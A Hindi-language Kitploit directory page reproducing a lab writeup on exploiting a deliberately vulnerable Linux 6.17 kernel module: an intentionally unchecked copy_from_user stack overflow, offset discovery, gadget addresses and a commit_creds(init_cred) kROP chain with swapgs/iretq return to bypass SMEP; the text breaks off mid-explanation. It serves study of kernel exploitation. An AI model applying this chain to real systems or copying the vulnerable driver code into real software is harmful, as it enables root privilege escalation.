Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
kernel-krop-smep-bypass — Linux Kernel 6.17 स्टैक ओवरफ़्लो - kROP के माध्यम से SMEP बायपास (तुर्की राइटअप) | Kitploit
उपकरण/GitHubGitHub/exploitbey/kernel-krop-smep-bypass
विशेषाधिकार वृद्धिमेमोरी फोरेंसिकशोषणरिवर्स इंजीनियरिंगशेलकोडडीबगर्सपेपर और शोधलर्निंग और शिक्षापेलोड डेवलपमेंट
साझा करें
बाइनरी शोषण
GitHubexploitbey/kernel-krop-smep-bypass

kernel-krop-smep-bypass

Linux Kernel 6.17 स्टैक ओवरफ़्लो - kROP के माध्यम से SMEP बायपास (तुर्की राइटअप)

रिपॉजिटरी देखें
3घं 20मि पहलेअभी तक समीक्षित नहीं

Linux Kernel 6.17 — Stack Overflow के साथ SMEP Bypass: kROP तकनीक

लेखक: expo
रेपो: https://github.com/exploitbey/kernel-krop-smep-bypass

इस writeup में, SMEP और SMAP के सक्रिय होने पर Linux kernel 6.17.0-5-generic पर kernel stack overflow vulnerability का शोषण कैसे किया जाए, इसकी जाँच की गई है। पारंपरिक ret2user विधि इस सुरक्षा के सामने अप्रभावी रहती है। विकल्प के रूप में Kernel ROP (kROP) चेन का उपयोग किया गया है।

अन्य सुरक्षाएँ (KASLR, KPTI, shadow stack, stack canary) इस वातावरण में अक्षम कर दी गई हैं; ध्यान केवल SMEP bypass तकनीक पर केंद्रित है।


पहले सुरक्षा को जानें: SMEP क्या है?

SMEP (Supervisor Mode Execution Prevention) प्रोसेसर स्तर पर एक सुरक्षा है। Kernel उपयोगकर्ता स्थान (user space) के मेमोरी पेजों में मौजूद कोड को निष्पादित नहीं कर सकता। अर्थात्, यदि आप उपयोगकर्ता बफ़र में shellcode लिखकर kernel को वहाँ भेजते हैं, तो CPU आपको तुरंत रोक देता है।

पारंपरिक ret2user के विफल होने का यही कारण है।

आप GDB से SMEP और SMAP के सक्रिय होने की पुष्टि कर सकते हैं:

info register cr4

यदि मान 0x372ef0 है तो इसे बाइनरी में बदलकर बिट्स देखें:

0x372ef0 → 0011 0111 0010 1110 1111 0000

दाएँ से बाएँ, index 0 से शुरू करते हुए:

बिट समूहसीमाअर्थ
00000–3—
11114–7Bit 5=PAE, Bit 7=PGE
11108–11Bit 9=OSFXSR, Bit 10=OSXMMEXCPT
001012–15Bit 13=VMXE
011116–19Bit 16=FSGSBASE, Bit 17=PCIDE, Bit 18=OSXSAVE
001120–23Bit 20=SMEP ✓, Bit 21=SMAP ✓

Bit 20 set → SMEP सक्रिय। CPU, Ring 0 से Ring 3 पेजों पर कोड चलाने को ब्लॉक कर रहा है।

एक नोट: Kernel 5.16 से CR4 रजिस्टर "पिन" कर दिया गया है। पहले mov cr4, rax शैली के gadget'ों से SMEP बिट साफ़ किया जा सकता था। अब वह दरवाज़ा बंद है। लेकिन यह महत्वपूर्ण नहीं है क्योंकि हम CR4 को बिल्कुल भी नहीं छुएँगे।


Lab वातावरण

  • Host: Kali Linux 2025.4
  • Guest: Lubuntu 25.10, kernel 6.17.0-5-generic (QEMU पर)

Guest से host पर vmlinuz कॉपी किया जाना चाहिए। कॉपी करने के बाद इसे vmlinux_raw में बदलें:

./extract-vmlinux vmlinuz > vmlinux_raw

स्क्रिप्ट: https://raw.githubusercontent.com/torvalds/linux/master/scripts/extract-vmlinux

आवश्यकताएँ

  1. Kernel ठीक 6.17.0-5-generic होना चाहिए (भिन्न minor संस्करण में binary बदल जाता है, gadget पते मेल नहीं खाते)
  2. SMEP और SMAP सक्रिय होने चाहिए
  3. KASLR, KPTI, shadow stack, stack canary बंद होने चाहिए

Guest में GRUB पंक्ति:

GRUB_CMDLINE_LINUX_DEFAULT="nokaslr nopti ima_appraise=off ima_policy=tcb shstk=off"

QEMU स्टार्टअप कमांड:

qemu-system-x86_64 \
  -m 4G \
  -enable-kvm \
  -cpu host \
  -drive file=lubuntu25.10-disk.qcow2,format=qcow2 \
  -vga qxl \
  -device virtio-serial-pci \
  -device virtserialport,chardev=spicechannel0,name=com.redhat.spice.0 \
  -chardev spicevmc,id=spicechannel0,name=vdagent \
  -display spice-app \
  -net nic -net user \
  -usb -usbdevice tablet \
  -vga virtio \
  -s -S

सिस्टम बूट होते समय host पर GDB प्रारंभ करें:

gdb ./vmlinux_raw
# ardından: continue

भेद्य LKM

स्रोत: rop.c

__attribute__((optimize(0)))
static ssize_t device_write(struct file *file, const char __user *buf,
                            size_t count, loff_t *ppos) {
    char tampon[64];
    // ZAFIYET: count kontrolsüz — 64+ byte gelince stack overflow
    if (_copy_from_user(tampon, buf, count)) {
        return -EFAULT;
    }
    return count;
}

बफ़र 64 बाइट निश्चित है। _copy_from_user यह कभी नहीं जाँचता कि कितने बाइट कॉपी किए जाएँगे। उपयोगकर्ता स्थान से 65 बाइट भेजना ही पर्याप्त है; kernel stack बिगड़ने लगता है।

शोषण प्रवेश बिंदु: /dev/vuln_device

संकलन और लोड करना

sudo su
make          # stack canary kapalı (Makefile'da -fno-stack-protector)
insmod rop.ko

फिर rop.ko को host पर कॉपी करें (GDB के लिए प्रतीक जानकारी आवश्यक है)।


स्टैक फ़्रेम

x64 कॉलिंग कन्वेंशन: पहला आर्ग्युमेंट RDI, दूसरा RSI, तीसरा RDX, चौथा RCX।

जब device_write को कॉल किया जाता है, तो kernel stack में रिटर्न एड्रेस rbp+8 स्थिति में होता है। हमारा लक्ष्य इस एड्रेस को नियंत्रित करना है।


शोषण

चरण 1: ऑफ़सेट पहचान

LKM को डीबग प्रतीकों के साथ कंपाइल किया गया है, इसलिए हम GDB के साथ ठीक से ट्रेस करेंगे।

Guest में मॉड्यूल एड्रेस देखें:

cat /proc/modules | grep rop
# rop 12288 0 - Live 0xffffffffc092f000 (OE)

cat /sys/module/rop/sections/.text   # 0xffffffffc092f000
cat /sys/module/rop/sections/.data   # 0xffffffffc0a15020
cat /sys/module/rop/sections/.bss    # 0xffffffffc0a15640

होस्ट पर GDB में Ctrl+C दबाएँ, प्रतीक लोड करें:

add-symbol-file /path/to/rop.ko
0xffffffffc092f000 -s .data 0xffffffffc0a15020 -s .bss 0xffffffffc0a15640

_copy_from_user से पहले और बाद में ब्रेकपॉइंट:

b *0xffffffffc092f059
b *0xffffffffc092f05e
continue

Metasploit के साथ 88 बाइट का pattern बनाएं:

msf-pattern_create -l 88

Pattern को payload.txt के रूप में सहेजें, find_offset के साथ भेजें:

gcc -o find_offset find_offset.c
./find_offset payload.txt

Kernel breakpoint पर रुकेगा। GDB में rbp+8 की सामग्री नोट करें। दूसरे breakpoint पर आप देखेंगे कि rbp+8 pattern से भर गया है।

Host पर offset की गणना करें:

msf-pattern_offset -q 6341356341346341 -l 88
# [*] Exact match at offset 72

वापसी पता 72वें बाइट से लिखा जा रहा है।


चरण 2: ROP Payload

ROP SMEP को क्यों बायपास कर सकता है? क्योंकि ROP kernel के अपने .text क्षेत्र में पहले से मौजूद कोड का उपयोग करता है। यह नया कोड नहीं चलाता। यह उपयोगकर्ता मेमोरी को बिल्कुल नहीं छूता। SMEP इसे देख नहीं सकता।

Save State

iretq से पहले user space रजिस्टरों को सहेजें:

__asm__ volatile (
    ".intel_syntax noprefix;"
    "mov user_cs,     cs;"
    "mov user_ss,     ss;"
    "mov user_sp,     rsp;"
    "pushf;"
    "pop user_rflags;"
    ".att_syntax;"
    ::: "memory"
);

"memory" क्लोबर क्रिटिक: यदि GCC इन मानों को कैश करता है, तो iretq फ़्रेम दूषित हो जाएगा।

गैजेट श्रृंखला

payload[i++] = POP_RDI_RET;    // pop rdi ; ret
payload[i++] = INIT_CRED;      // → rdi = &init_cred (root kimlik bilgisi)
payload[i++] = COMMIT_CREDS;   // commit_creds(init_cred) → process root oldu
payload[i++] = SWAPGS_RESTORE; // swapgs → iretq'ya yönlendir

prepare_kernel_cred क्यों नहीं है? Kernel 6.17 में mov rdi, rax ; ret जैसा कोई साफ़ register transfer gadget नहीं मिला। init_cred पहले से ही एक स्थिर पता है, pop rdi; ret पर्याप्त है। Payload भी छोटा रहता है: 144 byte।

Gadget पते:

commit_creds और init_cred:

cat /proc/kallsyms | grep commit_creds
# ffffffff8145b390 T commit_creds

cat /proc/kallsyms | grep init_cred
# ffffffff8388b860 T init_cred

pop rdi ; ret → opcode \x5f\xc3

.text सीमा:

Başlangıç : 0xffffffff81000000
Boyut      : 0x1637970
Bitiş      : 0xffffffff82637970
python3 find_opcode.py vmlinux_raw 5fc3

पहला परिणाम 0xffffffff812582bd → GDB में x/3i 0xffffffff812582bd से सत्यापित करें। साफ़ pop rdi; ret सरणी।

swapgs + iretq → opcode: 0x0F 0x01 0xF8 और 0x48 0xCF

python3 find_swapgs.py vmlinux_raw

स्क्रिप्ट दो उम्मीदवार लौटाती है। 0xffffffff81001866 में बहुत अधिक पॉप हैं, स्टैक बिगड़ जाता है। 0xffffffff8100118f की जाँच करें:

0xffffffff8100118f: swapgs
0xffffffff81001192: verw WORD PTR [rip+...]   ← ZF'yi etkiler, GPR'ları bozmaz
0xffffffff81001199: test BYTE PTR [rsp+0x8], 0x3
0xffffffff8100119e: jne  0xffffffff81001241

जहाँ उसने छोड़ दिया:

0xffffffff81001241: test BYTE PTR [rsp+0x20], 0x4
0xffffffff81001246: jne  0xffffffff8100124a
0xffffffff81001248: iretq

यह प्रवाह क्यों काम करता है? user_cs = 0x33, user_ss = 0x2b:

test [rsp+0x8],  0x3  → 0x33 AND 0x03 = 0x03 → ZF=0 → jne çalışır → 0x81001241'e atlar
test [rsp+0x20], 0x4  → 0x2b AND 0x04 = 0x00 → ZF=1 → jne çalışmaz → iretq çalışır

iretq स्टैक से क्रमानुसार लेता है:

टूल डाउनलोड करें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 अंतिम OSINT टूलकिट: जाँच ग्राफ़, विश्वास स्कोरिंग, उपनाम परिवार, मानचित्र, टाइमलाइन और रिपोर्ट। 49 मॉड्यूल, 400+ साइटें, किसी API कुंजी की आवश्यकता नहीं।

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # घोस्टलॉक वन-टैप निष्पादन ऐप (CVE-2026-43499)

    618
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT प्लेटफ़ॉर्म जो Shadowserver रिपोर्ट्स को MongoDB में इनजेस्ट करता है और उन्हें इंटरैक्टिव मैप्स, विश्लेषण, निष्कर्षों, सलाहों और कार्यकारी डैशबोर्ड के रूप में पुनः प्रस्तुत करता है।

    411
  • 4

    ARTEX

    baarai/artex

    प्लानर/वर्कर एजेंट, एसेट और एक्सप्लोरेशन ग्राफ़, MITM ट्रैफ़िक रिकॉर्डिंग, और भेद्यता पुनःपरीक्षण के साथ LLM मल्टी-एजेंट स्वायत्त पेनेट्रेशन टेस्टिंग प्लेटफ़ॉर्म।

    328
  • 5

    jumpserver

    jumpserver/jumpserver

    JumpServer एक ओपन-सोर्स विशेषाधिकार प्रबंधन (PAM) प्लेटफ़ॉर्म है जो DevOps और IT टीमों को SSH, RDP, Kubernetes, डेटाबेस और RemoteApp एंडपॉइंट्स तक वेब ब्राउज़र के माध्यम से मांग पर और सुरक्षित पहुँच प्रदान करता है।

    314
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    वेब पर 7,700+ सोशल मीडिया पहचानों को खोजने और मैप करने के लिए AI-संचालित OSINT इंजन

    275

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →